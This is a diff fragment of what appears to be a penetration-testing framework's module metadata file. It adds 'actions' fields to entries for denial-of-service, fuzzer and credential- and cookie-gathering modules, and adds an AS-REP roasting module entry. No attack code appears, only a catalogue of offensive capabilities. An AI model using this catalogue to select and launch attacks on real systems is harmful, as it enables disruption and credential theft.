+15625,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/smb/smb_loris": { "name": "SMBLoris NBSS Denial of Service", @@ -14091,7 +15668,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/smtp/sendmail_prescan": { "name": "Sendmail SMTP Address prescan Memory Corruption", @@ -14138,7 +15718,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/solaris/lpd/cascade_delete": { "name": "Solaris LPD Arbitrary File Delete", @@ -14179,7 +15762,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/ssl/dtls_changecipherspec": { "name": "OpenSSL DTLS ChangeCipherSpec Remote DoS", @@ -14219,7 +15805,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/ssl/dtls_fragment_overflow": { "name": "OpenSSL DTLS Fragment Buffer Overflow DoS", @@ -14262,7 +15851,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/ssl/openssl_aesni": { "name": "OpenSSL TLS 1.1 and 1.2 AES-NI DoS", @@ -14301,7 +15893,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/syslog/rsyslog_long_tag": { "name": "rsyslog Long Tag Off-By-Two DoS", @@ -14341,7 +15936,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/tcp/claymore_dos": { "name": "Claymore Dual GPU Miner Format String dos attack", @@ -14382,7 +15980,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/tcp/junos_tcp_opt": { "name": "Juniper JunOS Malformed TCP Option", @@ -14422,7 +16023,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/tcp/synflood": { "name": "TCP SYN Flooder", @@ -14460,7 +16064,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/upnp/miniupnpd_dos": { "name": "MiniUPnPd 1.4 Denial of Service (DoS) Exploit", @@ -14503,7 +16110,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/appian/appian_bpm": { "name": "Appian Enterprise Business Suite 5.6 SP1 DoS", @@ -14543,7 +16153,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/browser/ms09_065_eot_integer": { "name": "Microsoft Windows EOT Font Table Directory Integer Overflow", @@ -14583,7 +16196,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_dos/windows/ftp/filezilla_admin_user": { "name": "FileZilla FTP Server Admin Interface Denial of Service", @@ -14624,7 +16243,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/ftp/filezilla_server_port": { "name": "FileZilla FTP Server Malformed PORT Denial of Service", @@ -14667,7 +16289,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/ftp/guildftp_cwdlist": { "name": "Guild FTPd 0.999.8.11/0.999.14 Heap Corruption", @@ -14708,7 +16333,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/ftp/iis75_ftpd_iac_bof": { "name": "Microsoft IIS FTP Server Encoded Response Overflow Trigger", @@ -14752,7 +16380,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/ftp/iis_list_exhaustion": { "name": "Microsoft IIS FTP Server LIST Stack Exhaustion", @@ -14796,7 +16427,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/ftp/solarftp_user": { "name": "Solar FTP Server Malformed USER Denial of Service", @@ -14836,7 +16470,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/ftp/titan626_site": { "name": "Titan FTP Server 6.26.630 SITE WHO DoS", @@ -14877,7 +16514,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/ftp/vicftps50_list": { "name": "Victory FTP Server 5.0 LIST DoS", @@ -14919,7 +16559,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/ftp/winftp230_nlst": { "name": "WinFTP 2.3.0 NLST Denial of Service", @@ -14960,7 +16603,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/ftp/xmeasy560_nlst": { "name": "XM Easy Personal FTP Server 5.6.0 NLST DoS", @@ -15001,7 +16647,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/ftp/xmeasy570_nlst": { "name": "XM Easy Personal FTP Server 5.7.0 NLST DoS", @@ -15042,7 +16691,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/games/kaillera": { "name": "Kaillera 0.86 Server Denial of Service", @@ -15080,7 +16732,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166": { "name": "Windows IIS HTTP Protocol Stack DOS", @@ -15144,7 +16799,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/http/ms10_065_ii6_asp_dos": { "name": "Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service", @@ -15186,7 +16844,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/http/pi3web_isapi": { "name": "Pi3Web ISAPI DoS", @@ -15235,7 +16896,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/llmnr/ms11_030_dnsapi": { "name": "Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS", @@ -15275,7 +16939,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/nat/nat_helper": { "name": "Microsoft Windows NAT Helper Denial of Service", @@ -15315,7 +16982,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/rdp/ms12_020_maxchannelids": { "name": "MS12-020 Microsoft Remote Desktop Use-After-Free DoS", @@ -15364,7 +17034,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/smb/ms05_047_pnp": { "name": "Microsoft Plug and Play Service Registry Overflow", @@ -15407,7 +17080,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/smb/ms06_035_mailslot": { "name": "Microsoft SRV.SYS Mailslot Write Corruption", @@ -15451,7 +17127,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Attack", + "description": "Run Denial of Service" + } + ] }, "auxiliary_dos/windows/smb/ms06_063_trans": { "name": "Microsoft SRV.SYS Pipe Transaction No Null", @@ -15494,7 +17176,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/smb/ms09_001_write": { "name": "Microsoft SRV.SYS WriteAndX Invalid DataOffset", @@ -15537,7 +17222,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/smb/ms09_050_smb2_negotiate_pidhigh": { "name": "Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference", @@ -15580,7 +17268,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/smb/ms09_050_smb2_session_logoff": { "name": "Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference", @@ -15620,7 +17311,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/smb/ms10_006_negotiate_response_loop": { "name": "Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop", @@ -15662,7 +17356,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/smb/ms10_054_queryfs_pool_overflow": { "name": "Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS", @@ -15706,7 +17403,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/smb/ms11_019_electbowser": { "name": "Microsoft Windows Browser Pool DoS", @@ -15750,7 +17450,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/smb/rras_vls_null_deref": { "name": "Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference", @@ -15790,7 +17493,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Attack", + "description": "Run Denial of Service" + } + ] }, "auxiliary_dos/windows/smb/vista_negotiate_stop": { "name": "Microsoft Vista SP0 SMB Negotiate Protocol DoS", @@ -15828,7 +17537,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/smtp/ms06_019_exchange": { "name": "MS06-019 Exchange MODPROP Heap Overflow", @@ -15874,7 +17586,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/ssh/sysax_sshd_kexchange": { "name": "Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service", @@ -15913,7 +17628,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/tftp/pt360_write": { "name": "PacketTrap TFTP Server 2.2.5459.0 DoS", @@ -15953,7 +17671,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/windows/tftp/solarwinds": { "name": "SolarWinds TFTP Server 10.4.0.10 Denial of Service", @@ -15993,7 +17714,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/wireshark/capwap": { "name": "Wireshark CAPWAP Dissector DoS", @@ -16034,7 +17758,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/wireshark/chunked": { "name": "Wireshark chunked_encoding_dissector Function DOS", @@ -16074,7 +17801,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/wireshark/cldap": { "name": "Wireshark CLDAP Dissector DOS", @@ -16115,7 +17845,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/wireshark/ldap": { "name": "Wireshark LDAP Dissector DOS", @@ -16154,7 +17887,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fileformat/badpdf": { "name": "BADPDF Malicious PDF Creator", @@ -16196,7 +17932,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fileformat/multidrop": { "name": "Windows SMB Multi Dropper", @@ -16238,7 +17977,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fileformat/odt_badodt": { "name": "LibreOffice 6.03 /Apache OpenOffice 4.1.5 Malicious ODT File Generator", @@ -16277,7 +18019,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/dns/dns_fuzzer": { "name": "DNS and DNSSEC Fuzzer", @@ -16315,7 +18060,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/ftp/client_ftp": { "name": "Simple FTP Client Fuzzer", @@ -16353,7 +18101,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/ftp/ftp_pre_post": { "name": "Simple FTP Fuzzer", @@ -16392,7 +18143,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/http/http_form_field": { "name": "HTTP Form Field Fuzzer", @@ -16440,7 +18194,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/http/http_get_uri_long": { "name": "HTTP GET Request URI Fuzzer (Incrementing Lengths)", @@ -16478,7 +18235,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/http/http_get_uri_strings": { "name": "HTTP GET Request URI Fuzzer (Fuzzer Strings)", @@ -16516,7 +18276,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/ntp/ntp_protocol_fuzzer": { "name": "NTP Protocol Fuzzer", @@ -16554,7 +18317,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/smb/smb2_negotiate_corrupt": { "name": "SMB Negotiate SMB2 Dialect Corruption", @@ -16592,7 +18358,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/smb/smb_create_pipe": { "name": "SMB Create Pipe Request Fuzzer", @@ -16632,7 +18401,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/smb/smb_create_pipe_corrupt": { "name": "SMB Create Pipe Request Corruption", @@ -16672,7 +18444,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/smb/smb_negotiate_corrupt": { "name": "SMB Negotiate Dialect Corruption", @@ -16710,7 +18485,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/smb/smb_ntlm1_login_corrupt": { "name": "SMB NTLMv1 Login Request Corruption", @@ -16750,7 +18528,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/smb/smb_tree_connect": { "name": "SMB Tree Connect Request Fuzzer", @@ -16790,7 +18571,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/smb/smb_tree_connect_corrupt": { "name": "SMB Tree Connect Request Corruption", @@ -16830,7 +18614,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/smtp/smtp_fuzzer": { "name": "SMTP Simple Fuzzer", @@ -16874,7 +18661,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/ssh/ssh_kexinit_corrupt": { "name": "SSH Key Exchange Init Corruption", @@ -16912,7 +18702,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/ssh/ssh_version_15": { "name": "SSH 1.5 Version Fuzzer", @@ -16950,7 +18743,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/ssh/ssh_version_2": { "name": "SSH 2.0 Version Fuzzer", @@ -16988,7 +18784,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/ssh/ssh_version_corrupt": { "name": "SSH Version Corruption", @@ -17026,7 +18825,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/tds/tds_login_corrupt": { "name": "TDS Protocol Login Request Corruption Fuzzer", @@ -17072,7 +18874,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_fuzzers/tds/tds_login_username": { "name": "TDS Protocol Login Request Username Fuzzer", @@ -17118,7 +18923,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/adobe_coldfusion_fileread_cve_2023_26360": { "name": "Adobe ColdFusion Unauthenticated Arbitrary File Read", @@ -17176,7 +18984,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/advantech_webaccess_creds": { "name": "Advantech WebAccess 8.1 Post Authentication Credential Collector", @@ -17225,7 +19036,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/alienvault_iso27001_sqli": { "name": "AlienVault Authenticated SQL Injection Arbitrary File Read", @@ -17272,7 +19086,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/alienvault_newpolicyform_sqli": { "name": "AlienVault Authenticated SQL Injection Arbitrary File Read", @@ -17322,7 +19139,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/android_browser_file_theft": { "name": "Android Browser File Theft", @@ -17362,7 +19182,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_gather/android_browser_new_tab_cookie_theft": { "name": "Android Browser \"Open in New Tab\" Cookie Theft", @@ -17402,7 +19228,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_gather/android_htmlfileprovider": { "name": "Android Content Provider File Disclosure", @@ -17442,7 +19274,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "" + } + ] }, "auxiliary_gather/android_object_tag_webview_uxss": { "name": "Android Open Source Platform (AOSP) Browser UXSS", @@ -17483,7 +19321,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "" + } + ] }, "auxiliary_gather/android_stock_browser_uxss": { "name": "Android Open Source Platform (AOSP) Browser UXSS", @@ -17524,7 +19368,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "" + } + ] }, "auxiliary_gather/apache_rave_creds": { "name": "Apache Rave User Information Disclosure", @@ -17575,7 +19425,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/apache_superset_cookie_sig_priv_esc": { "name": "Apache Superset Signed Cookie Priv Esc", @@ -17642,7 +19495,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/apple_safari_ftp_url_cookie_theft": { "name": "Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft", @@ -17682,7 +19538,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_gather/apple_safari_webarchive_uxss": { "name": "Mac OS X Safari .webarchive File Format UXSS", @@ -17720,7 +19582,74 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] + }, + "auxiliary_gather/asrep": { + "name": "Find Users Without Pre-Auth Required (ASREP-roast)", + "fullname": "auxiliary/gather/asrep", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "smashery" + ], + "description": "This module searches for AD users without pre-auth required. Two different approaches\n are provided:\n - Brute force of usernames (does not require a user account; should not lock out accounts)\n - LDAP lookup (requires an AD user account)", + "references": [ + "URL-https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat" + ], + "platform": "", + "arch": "", + "rport": 389, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2023-12-01 08:03:32 +0000", + "path": "/modules/auxiliary/gather/asrep.rb", + "is_install_path": true, + "ref_name": "gather/asrep", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [ + + ], + "AKA": [ + "preauth", + "asreproast" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + { + "name": "BRUTE_FORCE", + "description": "Brute force to find susceptible user accounts" + }, + { + "name": "LDAP", + "description": "Ask a domain controller directly for the susceptible user accounts" + } + ] }, "auxiliary_gather/asterisk_creds": { "name": "Asterisk Gather Credentials", @@ -17761,7 +19690,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/avtech744_dvr_accounts": { "name": "AVTECH 744 DVR Account Information Retrieval", @@ -17808,7 +19740,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/billquick_txtid_sqli": { "name": "BillQuick Web Suite txtID SQLi", @@ -17867,7 +19802,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/browser_info": { "name": "HTTP Client Information Gather", @@ -17905,7 +19843,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "A web server that collects information about the browser." + } + ] }, "auxiliary_gather/browser_lanipleak": { "name": "HTTP Client LAN IP Address Gather", @@ -17946,7 +19890,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_gather/c2s_dvr_password_disclosure": { "name": "C2S DVR Management Password Disclosure", @@ -17994,7 +19944,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/censys_search": { "name": "Censys Search", @@ -18043,7 +19996,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/cerberus_helpdesk_hash_disclosure": { "name": "Cerberus Helpdesk User Hash Disclosure", @@ -18091,7 +20047,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/checkpoint_hostname": { "name": "CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure", @@ -18130,7 +20089,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/chrome_debugger": { "name": "Chrome Debugger Arbitrary File Read / Arbitrary Web Request", @@ -18178,7 +20140,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/cisco_pvc2300_download_config": { "name": "Cisco PVC2300 POE Video Camera configuration download", @@ -18237,7 +20202,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/cisco_rv320_config": { "name": "Cisco RV320/RV326 Configuration Disclosure", @@ -18290,7 +20258,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/citrix_published_applications": { "name": "Citrix MetaFrame ICA Published Applications Scanner", @@ -18328,7 +20299,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/citrix_published_bruteforce": { "name": "Citrix MetaFrame ICA Published Applications Bruteforcer", @@ -18367,7 +20341,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/cloud_lookup": { "name": "Cloud Lookup (and Bypass)", @@ -18415,7 +20392,69 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Amazon CloudFront", + "description": "Content Delivery Network services of Amazon" + }, + { + "name": "ArvanCloud CDN", + "description": "ArvanCloud CDN comprises tens of PoP sites in important locations all around the world to deliver online content to the users" + }, + { + "name": "Automatic", + "description": "" + }, + { + "name": "AzureCDN", + "description": "Microsoft Azure Content Delivery Network (CDN) is a global content distribution network solution for delivering high bandwidth content" + }, + { + "name": "CloudFlare", + "description": "Cloudflare provides SaaS based CDN, WAF, DNS and DDoS mitigation services." + }, + { + "name": "Envoy Proxy", + "description": "An open source edge and service proxy, designed for Cloud-Native applications" + }, + { + "name": "Fastly", + "description": "Another widely used CDN/WAF solution" + }, + { + "name": "Imperva Incapsula", + "description": "Cloud based Web application firewall of Imperva" + }, + { + "name": "InGen Security (BinarySec EasyWAF)", + "description": "Cloud based Web application firewall of InGen Security and BinarySec" + }, + { + "name": "KeyCDN", + "description": "KeyCDN is a high performance content delivery network that has been built for the future" + }, + { + "name": "Netlifi", + "description": "One workflow, from local development to global deployment" + }, + { + "name": "NoWAFBypass", + "description": "Do NOT check any bypass method" + }, + { + "name": "Stackpath Fireblade", + "description": "Enterprise Website Security & DDoS Protection" + }, + { + "name": "Stackpath MaxCDN", + "description": "Speed Up your Content Delivery" + }, + { + "name": "Sucuri", + "description": "Cloud based Web application firewall of Sucuri" + } + ] }, "auxiliary_gather/coldfusion_pwd_props": { "name": "ColdFusion 'password.properties' Hash Extraction", @@ -18466,7 +20505,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/corpwatch_lookup_id": { "name": "CorpWatch Company ID Information Search", @@ -18513,7 +20555,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/corpwatch_lookup_name": { "name": "CorpWatch Company Name Information Search", @@ -18560,7 +20605,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/cve_2021_27850_apache_tapestry_hmac_key": { "name": "Apache Tapestry HMAC secret key leak", @@ -18617,7 +20665,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/d20pass": { "name": "General Electric D20 Password Recovery", @@ -18655,7 +20706,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/darkcomet_filedownloader": { "name": "DarkComet Server Remote File Download Exploit", @@ -18695,7 +20749,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/dolibarr_creds_sqli": { "name": "Dolibarr Gather Credentials via SQL Injection", @@ -18745,7 +20802,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/doliwamp_traversal_creds": { "name": "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", @@ -18793,7 +20853,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/drupal_openid_xxe": { "name": "Drupal OpenID External Entity Injection", @@ -18846,7 +20909,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/eaton_nsm_creds": { "name": "Network Shutdown Module sort_values Credential Dumper", @@ -18895,7 +20961,10 @@ "notes": 